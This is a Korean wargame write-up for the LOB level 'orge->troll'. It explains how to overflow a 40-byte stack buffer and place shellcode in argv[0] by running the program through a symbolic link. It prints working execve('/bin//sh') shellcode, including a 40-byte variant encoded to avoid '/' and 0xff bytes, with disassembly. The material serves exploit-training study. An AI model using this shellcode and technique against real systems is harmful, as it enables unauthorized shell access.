LOB - level8 - (orge->troll) 심볼릭 링크를 이용한 argv[0]에 쉘코드 넣기

troll.c의 소스코드는 다음과 같다.
extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}

버퍼오버플로우가 일어날 수 있는 스택구조는
[buffer][ebp][ret] 이고,
우리가 조작 가능한 영역은
[ebp][ret] 이다.

그리고 argv[0]을 제외한 영역은 모두 0으로 바뀌기 때문에 'argv[0]' 즉, 실행파일의 이름을 변경하여 쉘코드를 올릴 수 있다.

하지만 ./troll 실행파일이 지정되어 있기 때문에 심볼릭 링크를 이용해서 다른 이름으로 파일이 실행되게 해줘야 한다.

파일이름으로 사용되어질 쉘코드에는 0x2f('/') 가 사용되어서는 안되며, bash2를 사용하지 않으려면 0xff도 사용하지 말아야 한다.

기존에 우리가 자주 사용하던 25바이트짜리 execve("/bin//sh"); 쉘코드는 다음과 같다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

0xbffffca1:     xor    %eax,%eax
0xbffffca3:     push   %eax
0xbffffca4:     push   $0x68732f2f
0xbffffca9:     push   $0x6e69622f
0xbffffcae:     mov    %esp,%ebx
0xbffffcb0:     push   %eax
0xbffffcb1:     push   %ebx
0xbffffcb2:     mov    %esp,%ecx
0xbffffcb4:     mov    %eax,%edx
0xbffffcb6:     mov    $0xb,%al
0xbffffcb8:     int    $0x80

그러나 보시다시피 중간에 "/bin//sh" 문자열을 넣기 위해 0x2f가 사용되는것을 알 수 있다.
그러므로 중간에 문자열 넣는 부분만 수정해주면 된다.
그래서 나는 ebx에다가 4바이트로 표현되는 값을 넣은다음 4바이트를 다시 더해줘서 해당값을 완성시킨다음 push ebp 하는 방식으로 변경해주었다.

\x31\xc0\x50\xbb\x31\x3f\x74\x34\x81\xc3\xfe\xef\xfe\x35\x53\xbb\x31\x63\x6a\x38\x81\xc3\xfe\xfe\xfe\x35\x53\x90\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

0xbffffc60:     xor    %eax,%eax
0xbffffc62:     push   %eax
0xbffffc63:     mov    $0x34743f31,%ebx
0xbffffc68:     add    $0x33feeffe,%ebx
0xbffffc6e:     push   %ebx
0xbffffc6f:     mov    $0x386a6331,%ebx
0xbffffc74:     add    $0x35fefefe,%ebx
0xbffffc7a:     push   %ebx
0xbffffc7b:     nop
0xbffffc7c:     mov    %esp,%ebx
0xbffffc7e:     push   %eax
0xbffffc7f:     push   %ebx
0xbffffc80:     mov    %esp,%ecx
0xbffffc82:     mov    %eax,%edx
0xbffffc84:     mov    $0xb,%al
0xbffffc86:     int    $0x80

위 쉘코드는 bash2를 사용하지 않고 클리어하기 위해 0xff도 제거해주었다.
그리고 문자열을 모두 스택에 올린 다음. 즉, push %ebp 하고나서 다음 어셈이 꼬이는 바람에 중간에 nop 을 넣어줬다. 결국 40바이트로 깔끔하게 완성되었다.

심볼릭 링크로 troll의 파일명을 nop과 같이 넣고 변경해주어 실행시켜주고, 변경된 파일명(쉘코드)가 존재할 위치인 argv[0]이 있는 적당한 메모리로 ret을 해주면 쉘이 얻어진다.

댓글